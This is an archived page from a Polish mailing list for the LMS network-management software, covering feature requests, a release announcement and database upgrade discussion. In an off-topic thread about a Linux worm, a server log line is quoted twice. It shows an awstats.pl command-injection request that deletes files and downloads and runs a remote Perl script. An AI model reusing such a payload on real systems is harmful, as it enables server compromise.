Listopad 2005 - lms - lists.lms.org.pl

Re: drobne uwagi
by Tomasz Chilinski 11 Lis '05

11 Lis '05

On Fri, 11 Nov 2005 13:06:58 +0100, exe_2 wrote > Witam , tak wdrażając kolejne funkcjonalności u mnie w firmie > nasunęło mi się kilka uwag , czy można by było : zrobić podsumowanie > wartości przy zestawieniu KP ? Czy zestawienie KP mogłoby mieć wybór > zakresu dat ? Czy da się zrobić żeby włączenie ostrzeżeń było > deklarowane nie kwotą , a np ilością spóźnionych abonamentów ? u > mnie mają różne taryfy i zdeklarowanie np - 180 spowoduje że części > userów się włączy po 3 miesiącach niepłacenia a u innych od razu :(. > Pozdrawiam Piotr Grenda "limit" można podawać w procentach. To wystarczy do tego o czym piszesz. Pozdrawiam.

1 0

drobne uwagi
by exe_2 11 Lis '05

11 Lis '05

Witam , tak wdrażając kolejne funkcjonalności u mnie w firmie nasunęło mi się kilka uwag , czy można by było : zrobić podsumowanie wartości przy zestawieniu KP ? Czy zestawienie KP mogłoby mieć wybór zakresu dat ? Czy da się zrobić żeby włączenie ostrzeżeń było deklarowane nie kwotą , a np ilością spóźnionych abonamentów ? u mnie mają różne taryfy i zdeklarowanie np - 180 spowoduje że części userów się włączy po 3 miesiącach niepłacenia a u innych od razu :(. Pozdrawiam Piotr Grenda

1 0

LMS-1.7.6 Grannus (NEW)
by A.L.E.C 11 Lis '05

11 Lis '05

Z uwagi na rozpoczęty proces modularyzacji interfejsu użytkownika, dość szybko wydaliśmy 1.7.5, która jak się okazało nie nadawała się do użytku. Dlatego już jest 1.7.6. W obu wersjach nie mam wielu nowości, ale ulepszenia modułów fiannsowych mogą się spodobać wielu użytkownikom. Wprowadzono także kilka propozycji zgłoszonych do BTSu. Po kolei: - statystyki w oknie informacji o komputerze, - możliwość zmiany/przypisania klienta podczas edycji zgłoszenia, - dodane wydruki formularzy przelewu, - zmieniono wygląd bilansu użytkownika, - obciążenia jednorazowe i beztaryfowe. Download: http://lms.rulez.pl/download/1.7/lms-1.7.6.tar.gz http://lms.rulez.pl/download/1.7/lms-1.7.6+libs.tar.gz -- Aleksander 'A.L.E.C' Machniak - http://alec.pl gg:2275252 LAN Management System Developer - http://lms.rulez.pl

1 0

Re: off_top-Szkodnik atakuje serwery linuksowe
by Tomasz Maciorowski 10 Lis '05

10 Lis '05

Rafal Drozd napisał(a): >W Twoim liście datowanym 9 listopada 2005 (04:04:14) można przeczytać: > > > > >>Sorki za watek nie zwiazany z lista, jednak musze sie podzielic informacja, >>ktora mnie zaciekawila lecz sprawdziwszy mnie to nie dotyczy. >>Moze jednak komus sie przyda? bo nie kazdy czyta niusy >> >> > > > >>"Od wczoraj firmy antywirusowe donoszą o robaku atakującym serwery działające >>na systemie Linux. Zagrożenie oceniane jest jako średnie lub niskie (w >>zależności od dostawcy systemów bezpieczeństwa)..." >> >> > > > >>Caly tekst pod ponizszym adresem: >>http://di.com.pl/news/11808,2.html >>oraz opis:http://vil.nai.com/vil/content/v_136821.htm >> >> > >taaaa >219.166.34.48 - - [10/Oct/2005:08:42:46 +0200] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/cicimare/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 1058 > >wiec jak widac wiadomosc do swiezych nie nalezy ;p > > > wget members.lycos.co.uk/cicimare/a.txt zdarzyliście sciągnać plik ?? jest juz 23:44:08 BŁĄD 404: Not Found.

1 0

Re: [patch]Adres komputera użytkownika vs Proxy
by Łukasz Mozer 09 Lis '05

09 Lis '05

On Sun, 06 Nov 2005 14:06:51 +0100 Jerzy Kolosowski <jerzykolosowski(a)poczta.onet.pl> wrote: > Ponieważ przy włączonym proxy lms wykrywał adres połączenia serwera > proxy, a nie usera to poprawilem to. > Powinno juz dzialac w kazdym, nawet egzotycznym przypadku korzystania z > proxy. zostawilem tez zmienna > $proxy przechowujaca adres serwera proxy, moze sie do czegos przyda > developerom. A ja chciałbym tylko zauważyć iż jakiś czas temu wyrzuciliśmy jakikolwiek support do rozpoznawania adresu zza proxy gdyż dokąd nie skonfigurujemy listy zaufanych adresów proxy jest to bardzo zgubne... -- Łukasz Jarosław Mozer http://www.baseciq.org mailto: lukasz(a)rulez.pl

1 0

Re: [lms] Re: Upgrady DB między wersjami
by Rafal Drozd 09 Lis '05

09 Lis '05

W Twoim liście datowanym 9 listopada 2005 (17:23:44) można przeczytać: > Ja już proponowałem auto backup przed każdą sekwencją upgradu - było by > puźniej mniej głupich pytań o downgrade... Popieram -- Pozdrowienia, Rafal Drozd

1 0

Re: Upgrady DB między wersjami
by Marcin Król 09 Lis '05

09 Lis '05

A.L.E.C napisał(a): >>moze daloby sie zrobic jakis mechanizm sprawdzania integralnosci bazy >>danych albo upgrady nie skokowo co 1 wersje tylko inaczej - moze cos >>sam ciekawego wymysle... > > każda propozycja mile widziana Ja już proponowałem auto backup przed każdą sekwencją upgradu - było by puźniej mniej głupich pytań o downgrade... -- _ _ _ ___ | |_ | \/ |( __| http://www.|___)|_||_||___).rulez.pl Marcin 'Lexx' Król LMS Developer lexx(a)polarnet.gliwice.pl GG: 652506 Nie odpisuje na listy pisane w HTML.

1 0

Re: [lms] Re: Upgrady DB między wersjami
by A.L.E.C 09 Lis '05

09 Lis '05

KubaTyszko wrote: > niestety z tym upgradem to mimo wszystko nie zawsze sie udaje - jakis > czas temu probowalem sobie zrobic taki upgradzik przekrojowy (roznica > wersji ponad 6 mcy) - i nie zadzialalo, dopiero po kilku recznych > poprawkach poszlo. takie problemy trzeba zgłaszać, z podaniem, komunikatów błędów. Najczęściej powodem są błędy w skryptach autoupgrejdu (które się stosunkowo szybko poprawia) lub brak uprawienień do wykonania niektórych zapytań. > moze daloby sie zrobic jakis mechanizm sprawdzania integralnosci bazy > danych albo upgrady nie skokowo co 1 wersje tylko inaczej - moze cos > sam ciekawego wymysle... każda propozycja mile widziana -- Aleksander 'A.L.E.C' Machniak http://alec.pl gg-2275252 LAN Management System Developer http://lms.alec.pl

1 0

Re: Upgrady DB między wersjami
by KubaTyszko 09 Lis '05

09 Lis '05

On Fri, Oct 21, 2005 at 11:35:07AM +0200, Marcin Król wrote: > Piotr Dobrzański napisał(a): > > Cześć > > > > Pracuję nad upgradem wersji 1.4.1 do (planowanej) 1.8. Analizuje > > lib/upgradedb i pojawilo sie pare pytan: > > - Upgrade jest robiony przyrostowo, tzn od od daty w bazie do aktualnej > > wersji iteruje po każdej wersji po drodze? > > Tak. > > > - Co się stanie, jeżeli baza danych zawiera dodatkowe, własne tabele? > > Raczej nic, ew. pojawią się błędy bazy jeśli nazwy tabel będą się pokrywać. > > > - Co się stanie, jeżeli oryginalne pola mają dostawione własne kolumny? > > Też raczej nic, chyba że j/w. No, i jeśli tabela jest kasowana, to pola > dodatkowe też będą (Hint, nazwy tabel zmieniły się bardzo od 1.4, więc > trzeba uważać). > > > - Czy jeżeli upgrade się nie powiedzie, będzie jakieś info? > > Jakieś będzie. Tzn, pojawią się błędy sql. > niestety z tym upgradem to mimo wszystko nie zawsze sie udaje - jakis czas temu probowalem sobie zrobic taki upgradzik przekrojowy (roznica wersji ponad 6 mcy) - i nie zadzialalo, dopiero po kilku recznych poprawkach poszlo. moze daloby sie zrobic jakis mechanizm sprawdzania integralnosci bazy danych albo upgrady nie skokowo co 1 wersje tylko inaczej - moze cos sam ciekawego wymysle...

1 0

Re: off_top-Szkodnik atakuje serwery linuksowe
by Rafal Drozd 09 Lis '05

09 Lis '05

W Twoim liście datowanym 9 listopada 2005 (04:04:14) można przeczytać: > Sorki za watek nie zwiazany z lista, jednak musze sie podzielic informacja, > ktora mnie zaciekawila lecz sprawdziwszy mnie to nie dotyczy. > Moze jednak komus sie przyda? bo nie kazdy czyta niusy > "Od wczoraj firmy antywirusowe donoszą o robaku atakującym serwery działające > na systemie Linux. Zagrożenie oceniane jest jako średnie lub niskie (w > zależności od dostawcy systemów bezpieczeństwa)..." > Caly tekst pod ponizszym adresem: > http://di.com.pl/news/11808,2.html > oraz opis:http://vil.nai.com/vil/content/v_136821.htm taaaa 219.166.34.48 - - [10/Oct/2005:08:42:46 +0200] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/cicimare/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 1058 wiec jak widac wiadomosc do swiezych nie nalezy ;p -- Pozdrowienia, Rafal Drozd

1 0